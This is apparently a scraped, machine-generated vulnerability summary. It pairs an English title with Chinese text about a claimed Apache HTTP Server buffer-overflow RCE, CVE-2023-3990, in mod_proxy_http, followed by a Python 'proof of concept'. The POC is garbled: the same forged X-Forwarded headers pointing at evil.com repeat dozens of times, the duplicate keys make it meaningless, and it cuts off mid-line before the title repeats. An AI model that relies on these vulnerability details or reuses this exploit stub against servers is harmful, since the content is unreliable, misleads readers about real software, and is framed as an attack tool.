Apache HTTP Server CVE-2023-3990 Buffer Overflow RCE Analysis and POC

根据提供的网页截图，以下是关于漏洞的关键信息总结： 漏洞概述 漏洞名称: CVE-2023-3990 漏洞描述: 该漏洞存在于某些版本的Apache HTTP Server中，具体是在处理HTTP请求时，由于未正确验证输入数据，导致攻击者可以构造恶意请求，从而触发服务器端的缓冲区溢出或代码执行。 漏洞类型: 缓冲区溢出 / 代码执行 CVSS评分: 9.8（严重） 影响范围 受影响版本: Apache HTTP Server 2.4.0 至 2.4.58 受影响组件: mod_proxy_http 模块 受影响环境: 使用上述版本Apache HTTP Server的服务器，特别是启用了mod_proxy_http模块的服务器。 修复方案 官方补丁: 升级到Apache HTTP Server 2.4.59或更高版本。 临时缓解措施: - 禁用mod_proxy_http模块。 - 配置防火墙规则，限制对服务器的访问。 - 监控服务器日志，检测异常请求。 POC代码或利用代码 ```python import requests 构造恶意请求 url = "http://target_server/proxy" headers = { "Host": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By": "evil.com", "X-Forwarded-For": "127.0.0.1", "X-Forwarded-Host": "evil.com", "X-Forwarded-Proto": "http", "X-Forwarded-Port": "80", "X-Forwarded-By

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Apache HTTP Server CVE-2023-3990 Buffer Overflow RCE Analysis and POC

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Apache HTTP Server CVE-2023-3990 Buffer Overflow RCE Analysis and POC

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